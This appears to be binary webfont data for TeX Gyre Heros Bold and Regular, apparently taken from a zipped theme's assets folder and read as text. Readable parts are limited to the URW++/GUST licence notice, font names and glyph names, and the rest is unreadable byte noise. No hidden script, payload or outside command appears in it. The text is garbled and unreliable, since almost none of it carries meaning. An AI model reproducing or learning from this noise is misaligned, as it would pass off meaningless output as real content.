
	
YSCCQC
D@+	

	
YYSCC
DYYYYY@#"+535432&#"3##353L�)'&SS�6����]A�i*5]�L��L��]���n@
BK�-PX@ SC	QC

D@	YSC

DY@#"+535432&#"3##3L�)'&SS�6��]A�i*5]�L��L�'R�#'+�K�PX@B@BYK�PX@(SC	QC

DK�PX@3SCSC	QC

DK�PX@0SCQC	QC

DK�PX@4SCQCC	QC

DK�-PX@2YSCC	QC

D@0Y	YSCC

DYYYYY@%(($$(+(+*)$'$'&%##"! #"#"+535432&#"35432&#"3####353L�)'&��)'&SS���l����]A�i*5A�i*5]�L��L��L��]��R�#'�@BK�-PX@%SC	QC

D@#	YSC

DY@$$$'$'&%##"! #"#"+535432&#"35432&#"3####3L�)'&��)'&SS���l��]A�i*5A�i*5]�L��L��L�'^z���_<����������e�������l!��M\�2,,y�7�2M(M�H<@M@��,,D,,,,, ,,,M\M\HXH<HXc<�)��R�,�M�OcJ
*�D?,�JcPAB�D
(�L
+�P� c�L��
��cMB��MH=,��M��,c;,"c,Mc"cCC,;Cy<c?c#c:c�?,Mc:,
,,	��%Z�HH<M\,$,,��,Z,!M�r,XH<M�M�9H<MMMuc:,@MM5m,XB@B@B?c<��������,�O�O�O�O��?������D
(
(
(
(
(H]
(�L�L�L�L��LcC,,,,,,y,",,,,��C����c#c?c#c#c#c#c#H<c#c:c:c:c:,	c:,	���M��M������@���x�5MMM,���CBB�G�I�H^2�\�MSMP�,�<cc�****V|�f���,f����6h�<~�j�h���&>�	`	�	�

F
t
�,Dr���J~�

f
�
�
�
�(Lx��$<`�J�� n6n��\��*��8���@t��x���P&�����4��6��
B�Rz�$B��  . �!�"�#N#�#�$$n$�%%P%�&&P&�&�''.'`'�'�(8(x(�)
)l)�)�*,*^*�*�++F+~+�,�-^.$.�/�0V1N1�2f2�3P3�3�44d4�4�5l5�66x6�7(7d7�88�8�9R9�9�:<;;�;�<<N<N<N<N<N<N<N<N<N<N<N<N<Z<f<r<�<�<�==<=x=�>>4>`>`>t>�>�>�?6?N@2@�A�B�C<In��
�	:	>	V	8^	"�	t�	",	�N	�	�	�0"	RBoldCopyright (URW)++, copyright 1999 by (URW)++ Design & Development; Cyrillic glyphs added by Valek Filippov, copyright 2001-2002; Vietnamese characters were added by Han The Thanh; copyright 2006, 2008 for TeX Gyre extensions by B. Jackowski and J.M. Nowacki (on behalf of TeX users groups). This work is released under the GUST Font License --  see http://tug.org/fonts/licenses/GUST-FONT-LICENSE.txt for details.TeXGyreHerosBold1.103;URW ;TeXGyreHeros-BoldTeXGyreHeros BoldVersion 1.103;PS 1.103;hotconv 1.0.49;makeotf.lib2.0.14853TeXGyreHeros-BoldPlease refer to the Copyright section for the font trademark attribution notices.TeX Gyre HerosWebfont 1.0Fri Jun  7 17:03:13 2013Bold��E�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������	����������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~����������

�������������glyph1uni000Duni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouniE000uniFB01uniFB02uniFB03uniFB04K��RX��Y�c �#D�#p�E  K�QK�SZX�4�(Y`f �UX�%a�Ec#b�#D�*�*�*Y�(	ERD�*�D�$�QX�@�X�D�&�QX��X�DYYYY������DQ�J�PK!�=�5��;bluetheme/assets/fonts/Tex/texgyreheros-regular-webfont.ttfnu&1i�0FFTM]�"�<GDEFX'XVGPOS|�
��GSUB���&lrOS/2k����`cmap��B*@�cvt 6$<fpgm�zA`	�gasp%�glyf���%���head��S��|6hhea-g��$hmtx��(���loca|�X����maxp:��X name{U���xpost�-^Ę�prep�D"�ǀ�webfJ;Q���=�������N
bccd}~�������������
x�DFLTcyrl$latn4����.AZE .CRT .MOL .NLD .PLK .ROM .TRK .��cpspkernsize d2�4
$=����1��8��92[�����J�&`r���x>|���	�

�
� B��� 6Tv��
D
N
�
�Z�
0Jt���Jp������.����
�
������6�TT
�
���
:\�������	$��7��9��:��<�������������.��&��*��2��4��7��8��9��:��<��D��EF��G��H��J��R��T��W��X��Y��Z��\��m����������������������������������������������������������$��2��9��:��<�����������������������������������������������$��+��.��2�������������������������������������������$��-��7��9��:��;��<������������������������'������$��-��2��D��H��R��U��X������������������������������������������������������������������������������������$��7��9��:��<��������������������������$�������������&��*��2��6��7D��H��R��X��\����������������������������������������������������*��$&��*��2��6��7��8��9��:��<��X��\������������������������������������������������������������������j�t�����$��&��D���������������������������������������������$��7��9��:��;��<�������������������������y���y$��-��D��H��R����������������������������������������������1&��*��2��7��8��9��:��<��D��H��R��X��\�����������������������������������������������������������������������������������������������������������$��7��9��:��<��W���������������������������D�������y�~$��&��*��-��2��6��9
:<D��F��H��J��R��U��V��X��Y��Z��\��m������������������������������������������������������������������������������������������������������������������������������$��P��Q��SU��������������������������;����������$��&��*��2��6��7D��H��J��R��U��X��\��m����������������������������������������������������������������������������������������������������������������������3����������$��&��*��2��6��7D��H��J��R��U��X��\��m�����������������������������������������������������������������������������������������������%��&��2��4��D��H��R��X��\��������������������������������������������������������������������������������������1����������$��&��*��2��6��7D��H��J��R��S��X��Y��m����������������������������������������������������������������������������������������Y��\�����Y��Z��\�������Y��Z��\�����N9��W��Y��Z��[��\�������D��H��IO��R��W�����������������������������������������������������D��������������������\���������9��:��H��J��R��V��X��������������������������\��������SY��Z��\�����7��SY��Z��\�������7��W��Y��Z��[��\�������W��\�����F
X�
����(����������D��F��H��IJ��NR��S
T��VWYZ[\]
������������������������������������������������������W��������6��H��K��R��������������������������������������������D��F��H��J��R��V������������������������������������������������������������������D��F��H��J��R��V�������������������������D��F��H��R��T���������������������������������������������������������������D��F��H��J��O��R��V����������������������������	$��7��9��:��<�y����������y2��8��<��R��X��\��
&��2��7��8��<��F��R��W��X��\��8��<��X��\��2��<��R��\��,��&��*��2��4��7��8��9��:��<��D��EF��G��H��J��R��T��W��X��Y��Z��\��m����������������������������������������������������	$��+��.��2���������������������$��&��D��������������������$��$��7��
$��7��9��:��;��<�������������$��P��Q�����$��P��Q��S�������$��P��Q��SU��������������&��7�������������������������������������������������������������������\��Y��Z��\�����W��W��Y��Z��[��\�������7��W��F�����������������D��F��H��J��O��R��V�������������������������$��7��:
<�����������������$��G��R��U��V��W��\��������������������	$��7
9:<����������	$��7
9:<����������	$7��9��:��<�������	$��7��9��:��<�~����������~$')*-/	135=DFHKN\}}.��/��5��6��9��:��@��L��M��N��O��P��S��T��U��W��Z
�fDFLTcyrl.latnH��	
��	
.AZE DCRT DMOL .NLD ZPLK pROM .TRK D��	
��	
��	
��	
aaltDc2scJdligPfracVliga\ligadligalligarlnum|onum�smcp�
	"*2:BJRZbjr`dh�������		,
 ~�		�IO�OI�IL�LILMI�IL�LI�IL�LIh$.BT^cCc�����C������"��	��XK�X^2: �URW @
��(|0 �� ��, 
~�Sx�� 
    " & / : _ �!"����
 �Rx��     " & / 9 _ �!"���������p�L����������������7�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ع�������y�������������������qzWMWM���&|�������&|��!y�,� `f-�, d ��P�&Z�E[X!#!�X �PPX!�@Y �8PX!�8YY �Ead�(PX!�E �0PX!�0Y ��PX f ��a �
PX` � PX!�
` �6PX!�6``YYY�+YY#�PXeYY-�, E �%ad �CPX�#B�#B!!Y�`-�,#!#! d�bB �#B�*! �C � ��+�0%�QX`PaRYX#Y! �@SX�+!�@Y#�PXeY-�,�C+�C`B-�,�#B# �#Ba��b�`�*-�,  E �Ec�Eb`D�`-�,  E �+#�%` E�#a d � PX!��0PX� �@YY#�PXeY�%#aDD�`-�,�E�aD-�	,�`  �	CJ�PX �	#BY�
CJ�RX �
#BY-�
, �b �c�#a�C` �` �#B#-�,KTX�DY$�
e#x-�,KQXKSX�DY!Y$�e#x-�
,�CUX�C�aB�
+Y�C�%B�	%B�
%B�# �%PX�C`�%B�� �#a�	*!#�a �#a�	*!�C`�%B�%a�	*!Y�	CG�
CG`��b �Ec�Eb`�#D�C�>�C`B-�,�ETX�#B `�a�

BB�`�
+�m+"Y-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-�,�	+-�,�+�ETX�#B `�a�

BB�`�
+�m+"Y-�,�+-�,�+-�,�+-�,�+-�,�+-�,�+-� ,�+-�!,�+-�",�+-�#,�	+-�$, <�`-�%, `�
` C#�`C�%a�`�$*!-�&,�%+�%*-�',  G  �Ec�Eb`#a8# �UX G  �Ec�Eb`#a8!Y-�(,�ETX��'*�0"Y-�),�+�ETX��'*�0"Y-�*, 5�`-�+,�Ec�Eb�+�Ec�Eb�+��D>#8�**-�,, < G �Ec�Eb`�Ca8-�-,.<-�., < G �Ec�Eb`�Ca�Cc8-�/,�% . G�#B�%I��G#G#a Xb!Y�#B�.*-�0,��%�%G#G#a�E+e�.#  <�8-�1,��%�% .G#G#a �#B�E+ �`PX �@QX�  �&YBB# �C �#G#G#a#F`�C��b` �+ ��a �C`d#�CadPX�Ca�C`Y�%��ba#  �&#Fa8#�CF�%�CG#G#a` �C��b`# �+#�C`�+�%a�%��b�&a �%`d#�%`dPX!#!Y#  �&#Fa8Y-�2,�   �& .G#G#a#<8-�3,� �#B   F#G�+#a8-�4,��%�%G#G#a�TX. <#!�%�%G#G#a �%�%G#G#a�%�%I�%a�Ec# Xb!Yc�Eb`#.#  <�8#!Y-�5,� �C .G#G#a `� `f��b#  <�8-�6,# .F�%FRX <Y.�&+-�7,# .F�%FPX <Y.�&+-�8,# .F�%FRX <Y# .F�%FPX <Y.�&+-�9,�0+# .F�%FRX <Y.�&+-�:,�1+�  <�#B�8# .F�%FRX <Y.�&+�C.�&+-�;,��%�& .G#G#a�E+# < .#8�&+-�<,�%B��%�% .G#G#a �#B�E+ �`PX �@QX�  �&YBB# G�C��b` �+ ��a �C`d#�CadPX�Ca�C`Y�%��ba�%Fa8# <#8!  F#G�+#a8!Y�&+-�=,�0+.�&+-�>,�1+!#  <�#B#8�&+�C.�&+-�?,� G�#B�.�,*-�@,� G�#B�.�,*-�A,��-*-�B,�/*-�C,�E# . F�#a8�&+-�D,�#B�C+-�E,�<+-�F,�<+-�G,�<+-�H,�<+-�I,�=+-�J,�=+-�K,�=+-�L,�=+-�M,�9+-�N,�9+-�O,�9+-�P,�9+-�Q,�;+-�R,�;+-�S,�;+-�T,�;+-�U,�>+-�V,�>+-�W,�>+-�X,�>+-�Y,�:+-�Z,�:+-�[,�:+-�\,�:+-�],�2+.�&+-�^,�2+�6+-�_,�2+�7+-�`,��2+�8+-�a,�3+.�&+-�b,�3+�6+-�c,�3+�7+-�d,�3+�8+-�e,�4+.�&+-�f,�4+�6+-�g,�4+�7+-�h,�4+�8+-�i,�5+.�&+-�j,�5+�6+-�k,�5+�7+-�l,�5+�8+-�m,+�e�$Px�0-��!*�.�/<��2��<��2�/<��2��<��23!'3#!	�����f!Xa��	O�BK�*PX@QCQ
D@QCQDY@
	+3533#aTSS'hh�R���4�1�>@		BK�PX@
QD@MQEY�+53#753#4]'�]'Voo��oo�����K�PX@(j
	
	YQC


DK�PX@&jZ
	
	Y


D@/j
	
kZ		M	Q
		EYY@+7537#53733733#3##7##?37#rly$L$}#M$]jiu'L&|'L&Y}|�D�D����D�D����D� ��(.5y@5+
/	B,AK�*PX@$hffUD@$hffUDY@	+74653&'&546753#.'#5.5>54&' O!I]!Ge`;[gO@2eUoi;en_t8<�AE9M�5$/
3_Ug66iU7F�0j`sggo�Z�>��K716��[�	$0�K�PX@*[[		\CS
DK�*PX@*j[[		\S
D@*j[[		\S
DYY@/-)'$"$#"+4632"'32654&#"364632#"'32654&#"dFHcd� <*)<;+)<t�B�u�dFHceEG<*)<;+)<��edIEd�)<;)+;;���'f�ddHEd�*;;(+;;4��}�%1�@)#"BK�PX@SCQ
CSDK�*PX@[Q
CSD@[QCSDYY�-$#+7467.5462653#'#"&7327'>54&#"4E]/"d�\<N�P:zm>?S?\qTM6IN�D6O-;,1&'/�D[6;E#B[XE6L,�8?^Y�N=(ma5KR�+EH+4%4"%0/0���4�BK�PX@QD@MQEY�+53#0^(Voo�I�,#�
'K�*PX@CD@CDY�+64673#&IXK7��7K��b���b&�,�
/K�*PX@CD@CDY@	

+654'3&��7KXXK����b��b(�W�,@

	
?K�*PX�D�DY�+7537''7(e:jlF3>?2ET;&pp&;Y$]]$YD�+@(MYQE+753533##5D�D��D�D��D��W�m�h
?K�*PX@WQ
D@WQDY@

+353#5>=Wii#hx�&&4.�8@MQE+753.��HHW�h/K�*PX@Q
D@QDY@	+353Whhh�����DK�PX@C
DK�*PX@kD@kDYY@	+3�7��+����	;K�PX@SCSD@[SDY�"#"+6632#"3265 +us�wqr�JF��f�����i��f[�d�BK�PX@hC
DK�*PX@hQ
D@hQDYY@
+5>73#ff>:X�?
.R�;�"��yK�PX@hSCQ
DK�*PX@h[Q
D@h[QDYY@!(+3>?654&#"#632!"Ro\`P<CGX�d�dA8uu?47U9LQX�vZ�P6&@,W ����%w�BK�PX@-hh[SCSD@+hh[[SDY@
)!$$"+7332654&+52654&#"#632#"& XHHENKH0fHC:DBX�esc?9�mnt�MJKC<AJ0;8AJN�h[h'NAexp�

o�
BK�PX@YC
DK�*PX@YQ
D@YQDYY@

+7533##5'3BAiiX�ު]��4O��O6#���=@:BhfY[SD$"$!+7332654&#"#!!632#"&#XrIRSH):Q5n��;Hf�lau�wTLNX%sW�+ip�^+���"f�
BK�PX@%h[SCSD@#h[[SDY@	$#$#""+4632#.#"632#"732654&#"+�{Qk
X>.LQ:i`y�f�_R>=PJ@BQC��bW38��Ozch��DWTBGOO.�=�BK�*PX@Y
D@YDY@
+5!#.��;^K�_WJ��O%���)U�
BK�PX@[SCSD@[[SDY�#$)+747.5462#"&632654&"'32654&"%y6*w�w*7z�ij�ZQADRQ�8C87DCpC�r:"@1SjjS2@!:s`ww�|JI?>I�2=<24==&����!f�BK�PX@%h[SCSD@#h[[SDY@	$$"#"+4632#"&'33267"&732654&#"&�f�|Qk
X>.LQB�zZJ@ARR>=P�h�����bW38��OzjGOPADXTW�MK�*PX@QCQ
D@QCQDY@+35353Whhhhh�hhW�m�
]K�*PX@WQCQ
D@WQCQDY@


+353#5>=53Wii#;hhx�&&4�hhr���9�(+75
rN���4%Z��ZD}w.@+YMQE+75!%5!D��@�}DD�DDr���9�(+7-5r��N����Z��4��F�� mK�*PX@&hfSCQ
D@&hfSCQDY@  *"+4632#547>7654&#"53Folat,83Z
,KF:C>NZ�swhX2N3/- /72%(CA3?KQ�hh"�r��3@�@

-.BK�PX@+	\WSCC

S
DK�*PX@.

h	\WSC

S
DK�.PX@.

h	\WSC

S
D@3

hP	\WSC

S
DYYY@?=86#$$%$"%#+4>32#"'#"&546327332654&#"327#".%326754&#""�ワ�E�K`BLF]�eT&SZ
@hя��؟Orpr|�y@:):^6(?b�߄ܘK�^MHiNm�WB��&�X}�ꝏ� C*k�_1E�\'4���
L�
BK�*PX@ZC
D@ZCDY@
	+33#'!3xhK��Md�p�'��)LOo�
b�BK�*PX@[SCS
D@[SCSDY@
!+3!2#'32654&+5324+O(eseF?va��?DC@㴒���gRp/TB[uRF78FR�0����[K�*PX@$hfSCTD@"hf[TDY�!$""+4632#.#"32673!"&0���,__Ui|�m[_`!����d���TN����ai���Y��GK�*PX@SCS
D@SCSDY@

!+3!2#'32654&+Y������lppl�����R����Ze�WK�*PX@YQCQ
D@YQCQDY@
+3!!!!!Z��d��s��R�R�RZC�	LK�*PX@YQC
D@YQCDY@		+3!!!!Z�t\���R�R��,����q�BK�*PX@*hYSC
CSD@(h[YCSDY@
"#""+4632#.#"326=#5!#'#"&,��}�_rRs��zd��0;f���e��pGV���zaR�`r�S��GK�*PX@YC
D@YCDY@
+33!3#!S]w]]����;�'L��d��/K�*PX@C
D@CDY@	+33d]�'����CK�*PX@hCSD@hCSDY�#+75332653"&]8588]o�j�;*@DJW���_nhO��@@	
	BK�*PX@C
D@CDY@+333	#O]kx��,n��w��q��Pvw�P�:K�*PX@CR
D@CRDY@
+33!P]h�yRK��A�BK�*PX@C
D@CDY@+333##K��ԁX�b���{�'c��c��L��	=�BK�*PX@C
D@CDY@		+333#Le}Xi����T�'O��&����;K�*PX@SCSD@[SDY�$$$"+4632#"&732654&#"&Ü������]�ut��vs�g��ٱ��Ϫ�������[i�
NK�*PX@[SC
D@[SCDY@


$!+3!2+3264&+[-lurZ��CKKC��og[s���DxD&����P@
B	?K�*PX@SCSD@[SDY�$(+46 '#"&7327'7654&"&�:�g^/iVi��]�u<<J.YO��g��ت�qM:W3Ϫ��>8IY����]��!]@
BK�*PX@[SC
D@[SCDY@!%!+3!2#&?6&+32654&+]Pks6=;&q;>��JECL��e^>RKZI84CAC?���<A??0��m�$[K�*PX@$hfSCSD@"hf[SDY�+"("+733254/&54632#4&#"#"&0Xie�����w~�X_WIZ6B�JQ�����P]S#0%�dxwkGMI8*11`Cdv�Q�=K�*PX@QC
D@QCDY@+5!##<�]�RR�y�U����5K�*PX@CSD@CSDY�##+7332653#"&U]eUXd]�������MQTJ��n����1�BK�*PX@C
D@CDY�+33#d��c�d��i�'��9�
BK�*PX@C
D@CDY�+333##h��d��h�f��f��P��P�'W����@@	
BK�*PX@C
D@CDY@+333#�q��o�s��vc������0��
��3�BK�*PX@C
D@CDY�+33#
s��o��]��c�E��G�	R@BAK�*PX@QCQ
D@QCQDY@		+35!5!!��f
�L�R5RT��R@�,��EK�*PX@QCQD@QCQDY@+3#3@�gg��H��H�����;K�PX@C
DK�*PX@kD@kDYY�+3#7�7��,��=K�*PX@QCQD@QCQDY�+3#53#gg���H�S,I��7�BK�PX@
kD@jaY@
+3#,�I�EzyI|��,����OB��@MQE+!!X��2��E��'K�*PX@kD@kDY�+3#
q`<ٔ*��$/K�.PX@+ B@+ BYK�PX@`SCS
DK�PX@hSCS
DK�*PX@)hSCS
CSDK�.PX@)hSCSCSD@'hSCSCSDYYYY@	###$!++747>7>=4&#"#632327#"&'#"&7326=*\8W1&=8:<T�ad-		#0HjP\Wg?^!eD:�b&
&(-0�IF��)?	'MPIPE6N
)6���e�
BK�*PX@ CSC
CSD@ CSCCSDY@$"+33632#"'32654&#&6S9ihx}gk;PBDUTEBP��V���ZKYnoYXnn���/@,hfSCSD"$""+4632#.#"32673#"&jZnT@4ELNE6@
Tq]k}��a^7;kb]f8>[h�����[�
BK�*PX@CSC
CSD@CSCCSDY�$$#"+46323#5#"&632654&#"{fl5SJ"O6jzWTEBPPCE}�Q�'M1+�ڶlkZ[n(��7@4BhYSCSD#"""+6632!3273#"!74&#"(�nJq�~UDi TwYo&&T=?R��J@7lWYaP^A>XV�]�BK�*PX@SCQC
D@SCQCDY@2#+5354632&#"3##FA:
:WWS�DY8?E5RD�8��&�%@@=BhCSCSCSD$%!#"+463253#"&'3326=#"&732654&"{db>Ml~\nUqLN*L1^zWMEBLL�N�[L�J��TJX[e#2,�_ih]_ljF��O�BK�*PX@CSC
D@CSCDY@##+33>32#4&#"FS%K8LYS=/@N��0'MB�tk25aP��<��iK�PX@QCC
DK�*PX@YC
D@YCDYY@+533<h^S[hh������&��U�BK�PX@QCCTD@YCTDY@" +653#"'53%S�
Nh�!&X��m2hh:��H@	
	BK�*PX@CC
D@CCDY@+3373#:S�k��g�Q�U޵��P�D��/K�*PX@C
D@CDY@	+33DS�'G�!Y�BK�*PX@CSC
D@CSCDY@!!####	+33>32>32#4&#"#4&#"GL"K4a,%H4IMS2.3IS3.3HJ/*P,$KG�wi27P9��i27P9��F�O�BK�*PX@CSC
D@CSCDY@##+33>32#4&#"FM#Q:LZS:2@OX70NA�tk/8aP��$���@SCSD$$$"+4632#"&732654&#"$}or|~op}WPFEQOGFP��������_ii\ajj7�&=@:B
ACSCSCD$"+3632#"'32654&#"7L;lixzfa@OCDTSEBP��O^��}�N���[hkY]mo�&�1@.
BCSCSCD$$""+463253##"&632654&#"|hk<JS9ihxWTEBPOCE��UF�S��ljZ\nFA
Q@
BK�*PX@CSC
D@CSCDY@

#+33>32FL$C(^J_;3UV\��"���%/@,hfSCSD+!"+7332654&/.5462#&#"#"&"X<<7C%,N]In�bXf3<.3POEucgg�9)*$C>IWTMT+$#A:KWU����b@
BK�*PX@jQCT
D@jQCTDY@##+53533#327#"&5GSVV'14�D��D��F+(|A���G�BK�*PX@C
CSD@CCSDY�##+7332653#5#"&AS:2ANSK%P:L[����/8aP!��Q4,N
�1�BK�*PX@C
D@CDY�+33#
^��^�[�W����9�
BK�*PX@C
D@CDY�+333##\kdfgh^�_je^�h��h�����e�@@	
BK�*PX@C
D@CDY@+3373#'��_~~^��a����������&�&@#
	BCTD#"+33#"'5326?Y��Z�(_ �h���l
KS�	M�BK�*PX@QCQ
D@QCQDY@		+35!5!!9�����EKxIJ��I+�,�!F�BK�*PX@SCSD@SCSDY�!+!'+75>=46;#";#"&=4&+,"94.%$.R%.49"�E	;F�>EA'�EF&x�'AE>�E<`�,��/K�*PX@CD@CDY@	+3`D���S�,� F�BK�*PX@SCSD@SCSDY�-!* +326=47&=4&+532+%RR%/4:!++!:4/�'�x%&x�'AE>�E<	E	<E�>EK��9@6hh[OSG###"+>3232653#"/&#"K71u590()b.%FKE#(:E?Na�3�	J�BK�&PX@QCQD@UQDY@		+?3#53a'ST����qhh4���tm@
BK�*PX@!hfUCD@!hfUCDY�+746753#.'673#5.74ue*XcT9.`TjW*euWE>��z�ZYcV2<�gtZmab	�wUg
����4�@%/&	.	BK�PX@2h
YSC	S		
CSDK�*PX@0h
Y		[SCSD@0h
Y		[SCSDYY@44-+#!&!%+53.54632#&#"3#632327#"'&#"'>54'Q"�egsX�@M 
��3C;?�	',*9J.d!!580E8A791![{tt�F:<7,'RD'B8#%B;V.&(c[#B@?
B@?[OSG+7627'"''7&5472654&"09;�;907226-7;�;7-622e�ee�e+08338069]Y>8-:77:-8>Y]9�IjjIGjj!���BK�PX@ 
	ZYC
DK�*PX@ j
	ZY
D@ j
	ZYDYY@+333#3##5#535#53U��Uɗ���X������B��3M3��3M3`�,��EK�*PX@QCQD@QCQDY@+73#3`DDD���5x��+�+��1<l@	;6BK�*PX@$hfSCSD@$hfSCSDY@*(&%#!#+467&5462#54&#"#"&5332654/.6654/+27,k�aT5,&3�=0mkPYaU8.+57�1+O(�II�'82G33E`bO/70%#^'J6s)"4 H`h_?;0&2&u"J_<({'?=3m(\%�CK�PX@QD@MQEY@+53353([G[\ffff����&�K�PX@2`^[		\SCSDK�PX@3`f[		\SCSD@4hf[		\SCSDYY@
%#$!#
+66  264&"4632#&#"32673#"&� ��ࡲ����>h`�@`<GI?56
@�^h� �����������\z�WWJGR48�r%/M�#.(K�.PX@*B@*BYK�PX@$`[	USDK�*PX@%h[	USDK�.PX@%h[	USDK�1PX@*hO[	USD@0h[O[MQ	EYYYY@  '% # #"##!(
+467>=4#"#632327#"'#"&5!'326=%EXC";~z/1808�9%6:'!�3/
, l^�,++4�33�/(3bj��
�
	(+757757b�jj5�jj�YzSSSSyYzSSSSD�w#@ kMQE+5!#5D�D3Dؔ.�8@MQE+753.��HH����&.O@LB
h[[		SCSD.,)'&&$"+66  264&"32#&574+532654+� ��ࡲ����2�AE>	IC��*'Q�� �����������84@
)0'
&"B��!?l.�@MQE+5!lFF6�Z�!@[OSG+462"&264&"6T|TT|$;N;;N�|TT|T�P??P?D�K�PX@!	YQCQ
DK�*PX@	YYQ
D@	YYQDYY@

	
+35!53533##5D��@�D��DDDD��D��O+�yK�PX@`USDK�PX@hUSD@!h[MQEYY@!(+>?654&#"#6323-?43* $&6�9HU7�O@C!*&(/�>1F+3"C/�#�BK�PX@+`hWSCSDK�PX@,hhWSCSDK�1PX@*hh[WSD@0hh[[OSGYYY@
(!$"+332654&#52654&#"#632#"&"7'(%*2;8)$%#7|8B2>J>@E�)&&"&- $*}914B6@A�EZ�/K�*PX@kD@kDY@	+73�`q�E��A�$ \@BK�*PX@CTCD@CTCDY@"#"#+332653327#"'#"'AS:1ANS-
!S;h6$��/8aP)�L)?	SS�0�O
�GK�*PX@hiSD@hiSDY�"+46;####.0�^�9@R@an�e�@��J����W��.@OSG+6462"W,,�,,'�`@
BK�*PX@h[TD@ h[OTHY�$!$#+732654&#"'7332#"'	:*0$+B9/�(a;1"+2FO��	M�BK�PX@YQD@MYQEY@		+57>73#F
."%6S)*��(/D�
}K�*PX@[USDK�1PX@[USD@![[MQEYY@"+4632"&5!2654&#"(KCDJK�K�-N-,('-;QZZTOZZ�338@?79@@bj��
�(+757'557'5bll�-ll�jSSSSyYzSSSSyYQ����	
�@BK�PX@0
	kY
	ZQC	Q		
	DK�*PX@.
	kYY
	Z	Q		
	D@.
	kYY
	Z	Q			DYY@#




		+57>73#3%5733##5'35Q
."%6�:�<�(;;6rrS)*�����"q4��/XX/�Q����	
(U�BK�PX@4	`
kYOQC		
Q



DK�PX@5		h
kYOQC		
Q



DK�PX@3		h
kMY\		
Q



DK�*PX@4		h
kYY\		
Q



D@4		h
kYY\		
Q



DYYYY@!

(('&


		+57>73#3%>?654&#"#6323Q
."%6)�:�<4-?34+ $%7�9HU7�S)*�����"@C"*&(/�>1F+3@����#'25@5)BK�PX@G`h	
	kP
YSCSC

R



DK�PX@Hhh	
	kP
YSCSC

R



DK�*PX@Fhh	
	k[P
YSC

R



DK�.PX@Fhh	
	k[P
YSC

R


DK�1PX@Gh

h	
	k[[
YSC


R


D@Eh

h	
	k[[[
Y


R


DYYYYY@!(($$43(2(210/.-,+*$'$'(!$"+332654&#52654&#"#632#"&375733##5'35@7'(%*2;8)$%#7|8B2>J>@E�:�<�(;;6rr�)&&"&- $*}914B6@A�c�"q4��/XX/�6�'� 5@2hfQCTD  "*+467>=332653#"&536,83Z
,KF:C>Uolat�Z2N3/- /72%(CA3?KQswhhh��d�BK�*PX@jjZC
D@jjZCDY@

	+33#'!3#3xhK��M�sHU�p�'�����L��
j�
BK�*PX@ jjZC
D@ jjZCDY@
		+33#'!3'73xhK��Md�p#s���'��)L�����s@

BK�*PX@!j	jZC
D@!j	jZCDY@
	
+33#'!73#'3xhK��M1srsKa_�p�'����VV�L����
BK�*PX@([	\

ZC
D@([	\

ZCDY@

+33#'!>323273#"'&#"3xhK��M<-!/):J@#
�p�'��16%h
%�
L��t�BK�*PX@!
YZC	
D@!
YZC	DY@

	+33#'!533753xhK��M_[V�p%[�'��ff�
L�ff��
 t�
BK�*PX@%[[ZC	
D@%[[ZC	DY@
	
+33#'!3'462#"&732654&"xhK��Md�p_9P89'(90(�'��)L�&99('89(��qK�*PX@(YY	QCQ

D@(YY	QCQ
DY@+3!!!!!!5!3#+n��`������Ut�d�R�R�R��(_0���/�@,	+ 	BK�PX@=hf		h		^SCT
CTDK�*PX@>hf		h		fSCT
CTD@9hf		h		f[XT
DYY@.-*($$!$""+4632#.#"3267332#"'732654&#"'7.0���,__Ui|�m[_`�$+B9/N	: ��d���TN����ai��%1"+2"(K	�Ze�oK�*PX@(jjYQCQ
D@(jjYQCQDY@
	+3!!!!!3#Z��d��s���sH�R�R�R��Ze�uK�*PX@)j	jYQCQ
D@)j	jYQCQDY@

+3!!!!!73Z��d��s���s���R�R�R��Ze���BK�*PX@*j
jYQCQ	
D@*j
jYQCQ	DY@
+3!!!!!73#'Z��d��s��FsrsKa_�R�R�R��VVZe�K�*PX@*	YYQCQ

D@*	YYQCQ
DY@

+3!!!!!53353Z��d��s��t[G[�R�R�Rffff����EK�*PX@jjC
D@jjCDY@+3#3:�sH]�����'d`�MK�*PX@jjC
D@jjCDY@+3373d]\s���'����?�
W�BK�*PX@jjC
D@jjCDY@

	+73#'3srsKa_0]��VV���'�WK�*PX@YC
D@YCDY@
		+53353[]
[ff���'ff��aK�*PX@ YSCS
D@ YSCSDY@#!	+53!2#!326&+3#E������]�kppk���SCC���S�����CL��	s�BK�*PX@![	\C

D@![	\C
DY@



		+333#>323273#"'&#"Le}Xi��$-!/):J@#
��T�'O��16%h
%&����QK�*PX@jjSCSD@jj\SDY�$$$"+4632#"&732654&#"3#&Ü������]�ut��vs�+�sHg��ٱ��Ϫ���������&����YK�*PX@ jjSCSD@jj\SDY@
$$$"+4632#"&732654&#"73&Ü������]�ut��vs��s��g��ٱ��Ϫ�������!��&����c�BK�*PX@!jjSCSD@jj\SDY@$$$"+4632#"&732654&#"73#'&Ü������]�ut��vs�VsrsKa_g��ٱ��Ϫ�������!��VV&����*mK�*PX@([
	\SCSD@&[
	\[SDY@**"!"$$$$"+4632#"&732654&#">323273#"'&#"&������]�ut��vs�a-!/):J@#
g��ٱ��Ϫ�������116%h
%&����cK�*PX@!	YSCSD@	Y[SDY@$$$"
+4632#"&732654&#"53353&Ü������]�ut��vs��[G[g��ٱ��Ϫ�������1ffffnD���	(+?'77'n��0��0��0��t��0��0��0��&����#T@
	#BK�*PX@SCSD@[SDY�#'(%+?&546327#"'&#"32654'&OO�]M)QQ���]K40�Dks�SDlt�3Vc���WU%Xj���TRwnJ�F���D��uOU����KK�*PX@jjCTD@jjCTDY�##+7332653#"&3#U]eUXd]����=�sH���MQTJ��n��%�U����SK�*PX@jjCTD@jjCTDY@
##+7332653#"&73U]eUXd]�����s�����MQTJ��n�����U����]�BK�*PX@jjCTD@jjCTDY@##+7332653#"&73#'U]eUXd]����hsrsKa_���MQTJ��n�����VVU����]K�*PX@	YCSD@	YCSDY@##
+7332653#"&53353U]eUXd]�����[G[���MQTJ��n���ffff
��Q�BK�*PX@jjC
D@jjCDY@				+33#73
